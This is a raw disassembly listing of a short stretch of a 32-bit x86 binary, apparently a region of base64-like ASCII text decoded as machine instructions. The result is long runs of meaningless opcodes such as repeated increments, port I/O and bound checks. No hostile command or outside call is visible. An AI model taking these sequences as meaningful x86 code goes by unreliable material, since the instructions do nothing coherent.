431fd0:	36 57                	ss push %edi
431fd2:	76 35                	jbe    0x432009
431fd4:	68 49 41 45 41       	push   $0x41454149
431fd9:	41                   	inc    %ecx
431fda:	41                   	inc    %ecx
431fdb:	42                   	inc    %edx
431fdc:	69 49 4b 59 7a 4c 78 	imul   $0x784c7a59,0x4b(%ecx),%ecx
431fe3:	74 5a                	je     0x43203f
431fe5:	62 7a 67             	bound  %edi,0x67(%edx)
431fe8:	41                   	inc    %ecx
431fe9:	41                   	inc    %ecx
431fea:	41                   	inc    %ecx
431feb:	6f                   	outsl  %ds:(%esi),(%dx)
431fec:	6c                   	insb   (%dx),%es:(%edi)
431fed:	66 6b 45 41 41       	imul   $0x41,0x41(%ebp),%ax
431ff2:	41                   	inc    %ecx
431ff3:	72 2b                	jb     0x432020
431ff5:	44                   	inc    %esp
431ff6:	41                   	inc    %ecx
431ff7:	38 41 62             	cmp    %al,0x62(%ecx)
431ffa:	7a 77                	jp     0x432073
431ffc:	41                   	inc    %ecx
431ffd:	41                   	inc    %ecx
431ffe:	41                   	inc    %ecx
431fff:	6f                   	outsl  %ds:(%esi),(%dx)
432000:	6c                   	insb   (%dx),%es:(%edi)
432001:	66 6b 4d 41 41       	imul   $0x41,0x41(%ebp),%cx
432006:	41                   	inc    %ecx
432007:	6f                   	outsl  %ds:(%esi),(%dx)
432008:	67 4d                	addr16 dec %ebp
43200a:	4e                   	dec    %esi
43200b:	6c                   	insb   (%dx),%es:(%edi)
43200c:	30 30                	xor    %dh,(%eax)
43200e:	47                   	inc    %edi
43200f:	55                   	push   %ebp
432010:	67 38 4b 4b          	cmp    %cl,0x4b(%bp,%di)
432014:	36 43                	ss inc %ebx
432016:	57                   	push   %edi
432017:	45                   	inc    %ebp
432018:	67 41                	addr16 inc %ecx
43201a:	78 48                	js     0x432064
43201c:	31 43 6c             	xor    %eax,0x6c(%ebx)
43201f:	6c                   	insb   (%dx),%es:(%edi)
432020:	6c                   	insb   (%dx),%es:(%edi)
432021:	49                   	dec    %ecx
432022:	42                   	inc    %edx
432023:	68 7a 50 42 74       	push   $0x7442507a
432028:	68 5a 57 38 34       	push   $0x3438575a
43202d:	41                   	inc    %ecx
43202e:	41                   	inc    %ecx
43202f:	41                   	inc    %ecx
432030:	4b                   	dec    %ebx
432031:	66 6c                	data16 insb (%dx),%es:(%edi)
432033:	73 41                	jae    0x432076
432035:	41                   	inc    %ecx
432036:	41                   	inc    %ecx
432037:	70 76                	jo     0x4320af
432039:	4f                   	dec    %edi
43203a:	67 41                	addr16 inc %ecx
43203c:	41                   	inc    %ecx
43203d:	43                   	inc    %ebx
43203e:	6a 67                	push   $0x67
432040:	4a                   	dec    %edx
432041:	41                   	inc    %ecx
432042:	41                   	inc    %ecx
432043:	41                   	inc    %ecx
432044:	41                   	inc    %ecx
432045:	2f                   	das
432046:	67 34 57             	addr16 xor $0x57,%al
432049:	41                   	inc    %ecx
43204a:	44                   	inc    %esp
43204b:	68 4e 32 50 2f       	push   $0x2f50324e
432050:	2f                   	das
432051:	2f                   	das
432052:	67 77 44             	addr16 ja 0x432099
432055:	41                   	inc    %ecx
432056:	43                   	inc    %ebx
432057:	6f                   	outsl  %ds:(%esi),(%dx)
432058:	41                   	inc    %ecx
432059:	41                   	inc    %ecx
43205a:	41                   	inc    %ecx
43205b:	41                   	inc    %ecx
43205c:	54                   	push   %esp
43205d:	4d                   	dec    %ebp
43205e:	41                   	inc    %ecx
43205f:	6b 41 35 51          	imul   $0x51,0x35(%ecx),%eax
432063:	41                   	inc    %ecx
432064:	41                   	inc    %ecx
432065:	41                   	inc    %ecx
432066:	41                   	inc    %ecx
432067:	6b 41 41 42          	imul   $0x42,0x41(%ecx),%eax
43206b:	45                   	inc    %ebp
43206c:	6f                   	outsl  %ds:(%esi),(%dx)
43206d:	49                   	dec    %ecx
43206e:	67 41                	addr16 inc %ecx
432070:	41                   	inc    %ecx
432071:	43                   	inc    %ebx
432072:	6e                   	outsb  %ds:(%esi),(%dx)
432073:	4e                   	dec    %esi
432074:	63 41 41             	arpl   %eax,0x41(%ecx)
432077:	41                   	inc    %ecx
432078:	4b                   	dec    %ebx
432079:	2f                   	das
43207a:	67 34 41             	addr16 xor $0x41,%al
43207d:	41                   	inc    %ecx
43207e:	50                   	push   %eax
43207f:	34 4d                	xor    $0x4d,%al
432081:	41                   	inc    %ecx
432082:	41                   	inc    %ecx
432083:	42                   	inc    %edx
432084:	79 67                	jns    0x4320ed
432086:	67 49                	addr16 dec %ecx
432088:	41                   	inc    %ecx
432089:	63 47 39             	arpl   %eax,0x39(%edi)
43208c:	64 41                	fs inc %ecx
43208e:	41                   	inc    %ecx
43208f:	41                   	inc    %ecx
432090:	4b                   	dec    %ebx
432091:	2f                   	das
432092:	67 77 41             	addr16 ja 0x4320d6
432095:	41                   	inc    %ecx
432096:	43                   	inc    %ebx
432097:	41                   	inc    %ecx
432098:	34 37                	xor    $0x37,%al
43209a:	35 51 63 5a 53       	xor    $0x535a6351,%eax
43209f:	43                   	inc    %ebx
4320a0:	5a                   	pop    %edx
4320a1:	46                   	inc    %esi
4320a2:	65 62 6f 59          	bound  %ebp,%gs:0x59(%edi)
4320a6:	57                   	push   %edi
4320a7:	59                   	pop    %ecx
4320a8:	67 66 52             	addr16 push %dx
4320ab:	69 49 2b 6c 68 6d 49 	imul   $0x496d686c,0x2b(%ecx),%ecx
4320b2:	4e                   	dec    %esi
4320b3:	50                   	push   %eax
4320b4:	73 42                	jae    0x4320f8
4320b6:	42                   	inc    %edx
4320b7:	46                   	inc    %esi
4320b8:	5a                   	pop    %edx
4320b9:	62 31                	bound  %esi,(%ecx)
4320bb:	34 41                	xor    $0x41,%al
4320bd:	41                   	inc    %ecx
4320be:	41                   	inc    %ecx
4320bf:	70 79                	jo     0x43213a
4320c1:	67 67 49             	addr16 addr16 dec %ecx
4320c4:	41                   	inc    %ecx
4320c5:	63 47 39             	arpl   %eax,0x39(%edi)
4320c8:	66 41                	inc    %cx
4320ca:	41                   	inc    %ecx
4320cb:	41                   	inc    %ecx
4320cc:	4b                   	dec    %ebx
4320cd:	63 6f 49             	arpl   %ebp,0x49(%edi)
4320d0:	43                   	inc    %ebx
4320d1:	41                   	inc    %ecx
4320d2:	48                   	dec    %eax
4320d3:	41                   	inc    %ecx
4320d4:	67 2f                	addr16 das
4320d6:	35 4a 53 43 53       	xor    $0x5343534a,%eax
4320db:	42                   	inc    %edx
4320dc:	2f                   	das
4320dd:	6b 6c 49 4a 59       	imul   $0x59,0x4a(%ecx,%ecx,2),%ebp
4320e2:	53                   	push   %ebx
4320e3:	41                   	inc    %ecx
4320e4:	43                   	inc    %ebx
4320e5:	41                   	inc    %ecx
4320e6:	41                   	inc    %ecx
4320e7:	41                   	inc    %ecx
4320e8:	41                   	inc    %ecx
4320e9:	59                   	pop    %ecx
4320ea:	32 55 67             	xor    0x67(%ebp),%dl
4320ed:	42                   	inc    %edx
4320ee:	41                   	inc    %ecx
4320ef:	41                   	inc    %ecx
4320f0:	41                   	inc    %ecx
4320f1:	41                   	inc    %ecx
4320f2:	47                   	inc    %edi
4320f3:	4e                   	dec    %esi
4320f4:	6d                   	insl   (%dx),%es:(%edi)
4320f5:	5a                   	pop    %edx
4320f6:	57                   	push   %edi
4320f7:	5a                   	pop    %edx
4320f8:	76 59                	jbe    0x432153
4320fa:	41                   	inc    %ecx
4320fb:	41                   	inc    %ecx
4320fc:	41                   	inc    %ecx
4320fd:	43                   	inc    %ebx
4320fe:	6a 67                	push   $0x67
432100:	54                   	push   %esp
432101:	41                   	inc    %ecx
432102:	41                   	inc    %ecx
432103:	41                   	inc    %ecx
432104:	41                   	inc    %ecx
432105:	2f                   	das
432106:	67 6b 41 41 50       	imul   $0x50,0x41(%bx,%di),%eax
43210b:	34 4d                	xor    $0x4d,%al
43210d:	41                   	inc    %ecx
43210e:	51                   	push   %ecx
43210f:	41                   	inc    %ecx
432110:	6f                   	outsl  %ds:(%esi),(%dx)
432111:	44                   	inc    %esp
432112:	77 41                	ja     0x432155
432114:	41                   	inc    %ecx
432115:	42                   	inc    %edx
432116:	69 59 34 43 51 41 41 	imul   $0x41415143,0x34(%ecx),%ebx
43211d:	41                   	inc    %ecx
43211e:	50                   	push   %eax
43211f:	34 4f                	xor    $0x4f,%al
432121:	41                   	inc    %ecx
432122:	51                   	push   %ecx
432123:	41                   	inc    %ecx
432124:	34 35                	xor    $0x35,%al
432126:	50                   	push   %eax
432127:	2f                   	das
432128:	2f                   	das
432129:	2f                   	das
43212a:	2f                   	das
43212b:	34 4d                	xor    $0x4d,%al
43212d:	41                   	inc    %ecx
43212e:	51                   	push   %ecx
43212f:	42                   	inc    %edx
432130:	76 59                	jbe    0x43218b
432132:	51                   	push   %ecx
432133:	41                   	inc    %ecx
432134:	41                   	inc    %ecx
432135:	43                   	inc    %ebx
432136:	6e                   	outsb  %ds:(%esi),(%dx)
432137:	4b                   	dec    %ebx
432138:	43                   	inc    %ebx
432139:	41                   	inc    %ecx
43213a:	67 42                	addr16 inc %edx
43213c:	77 49                	ja     0x432187
43213e:	4e                   	dec    %esi
43213f:	35 33 77 74 59       	xor    $0x59747733,%eax
432144:	67 78 6e             	addr16 js 0x4321b5
432147:	62 43 31             	bound  %eax,0x31(%ebx)
43214a:	6d                   	insl   (%dx),%es:(%edi)
43214b:	45                   	inc    %ebp
43214c:	55                   	push   %ebp
43214d:	46                   	inc    %esi
43214e:	43                   	inc    %ebx
43214f:	42                   	inc    %edx
432150:	30 4e 70             	xor    %cl,0x70(%esi)
432153:	62 64 49 48          	bound  %esp,0x48(%ecx,%ecx,2)
432157:	54                   	push   %esp
432158:	4a                   	dec    %edx
432159:	61                   	popa
43215a:	53                   	push   %ebx
43215b:	4a                   	dec    %edx
43215c:	68 49 41 63 41       	push   $0x41634149
432161:	41                   	inc    %ecx
432162:	41                   	inc    %ecx
432163:	42                   	inc    %edx
432164:	6a 5a                	push   $0x5a
432166:	6f                   	outsl  %ds:(%esi),(%dx)
432167:	30 42 41             	xor    %al,0x41(%edx)
43216a:	41                   	inc    %ecx
43216b:	41                   	inc    %ecx
43216c:	42                   	inc    %edx
43216d:	4a                   	dec    %edx
43216e:	53                   	push   %ebx
43216f:	44                   	inc    %esp
432170:	68 34 45 58 68       	push   $0x68584534
432175:	5a                   	pop    %edx
432176:	6d                   	insl   (%dx),%es:(%edi)
432177:	55                   	push   %ebp
432178:	67 64 53             	addr16 fs push %ebx
43217b:	33 2f                	xor    (%edi),%ebp
43217d:	47                   	inc    %edi
43217e:	47                   	inc    %edi
43217f:	45                   	inc    %ebp
432180:	67 61                	addr16 popa
432182:	54                   	push   %esp
432183:	4a                   	dec    %edx
432184:	46                   	inc    %esi
432185:	42                   	inc    %edx
432186:	6c                   	insb   (%dx),%es:(%edi)
432187:	6a 2b                	push   $0x2b
432189:	43                   	inc    %ebx
43218a:	51                   	push   %ecx
43218b:	45                   	inc    %ebp
43218c:	41                   	inc    %ecx
43218d:	6f                   	outsl  %ds:(%esi),(%dx)
43218e:	6d                   	insl   (%dx),%es:(%edi)
43218f:	39 69 41             	cmp    %ebp,0x41(%ecx)
432192:	41                   	inc    %ecx
432193:	41                   	inc    %ecx
432194:	4b                   	dec    %ebx
432195:	64 41                	fs inc %ecx
432197:	6b 41 41 41          	imul   $0x41,0x41(%ecx),%eax
43219b:	45                   	inc    %ebp
43219c:	71 4b                	jno    0x4321e9
43219e:	76 34                	jbe    0x4321d4
4321a0:	4a                   	dec    %edx
4321a1:	45                   	inc    %ebp
4321a2:	7a 41                	jp     0x4321e5
4321a4:	44                   	inc    %esp
4321a5:	41                   	inc    %ecx
4321a6:	45                   	inc    %ebp
4321a7:	4d                   	dec    %ebp
4321a8:	46                   	inc    %esi
4321a9:	41                   	inc    %ecx
4321aa:	41                   	inc    %ecx
4321ab:	41                   	inc    %ecx
4321ac:	4b                   	dec    %ebx
4321ad:	41                   	inc    %ecx
4321ae:	41                   	inc    %ecx
4321af:	41                   	inc    %ecx
4321b0:	52                   	push   %edx
4321b1:	41                   	inc    %ecx
4321b2:	41                   	inc    %ecx
4321b3:	41                   	inc    %ecx
4321b4:	41                   	inc    %ecx
4321b5:	4f                   	dec    %edi
4321b6:	43                   	inc    %ebx
4321b7:	4d                   	dec    %ebp
4321b8:	44                   	inc    %esp
4321b9:	41                   	inc    %ecx
4321ba:	41                   	inc    %ecx
4321bb:	44                   	inc    %esp
4321bc:	2b 44 41 41          	sub    0x41(%ecx,%eax,2),%eax
4321c0:	41                   	inc    %ecx
4321c1:	49                   	dec    %ecx
4321c2:	48                   	dec    %eax
4321c3:	50                   	push   %eax
4321c4:	2b 54 42 49          	sub    0x49(%edx,%eax,2),%edx
4321c8:	67 63 77 47          	arpl   %esi,0x47(%bx)
4321cc:	44                   	inc    %esp
4321cd:	37                   	aaa
4321ce:	6c                   	insb   (%dx),%es:(%edi)
4321cf:	6c                   	insb   (%dx),%es:(%edi)
4321d0:	6c                   	insb   (%dx),%es:(%edi)
4321d1:	49                   	dec    %ecx
4321d2:	41                   	inc    %ecx
4321d3:	49                   	dec    %ecx
4321d4:	41                   	inc    %ecx
4321d5:	41                   	inc    %ecx
4321d6:	41                   	inc    %ecx
4321d7:	42                   	inc    %edx
4321d8:	6a 49                	push   $0x49
4321da:	4c                   	dec    %esp
4321db:	42                   	inc    %edx
4321dc:	64 59                	fs pop %ecx
4321de:	68 64 68 5a 53       	push   $0x535a6864
4321e3:	41                   	inc    %ecx
4321e4:	42                   	inc    %edx
4321e5:	41                   	inc    %ecx
4321e6:	41                   	inc    %ecx
4321e7:	41                   	inc    %ecx
4321e8:	41                   	inc    %ecx
4321e9:	59                   	pop    %ecx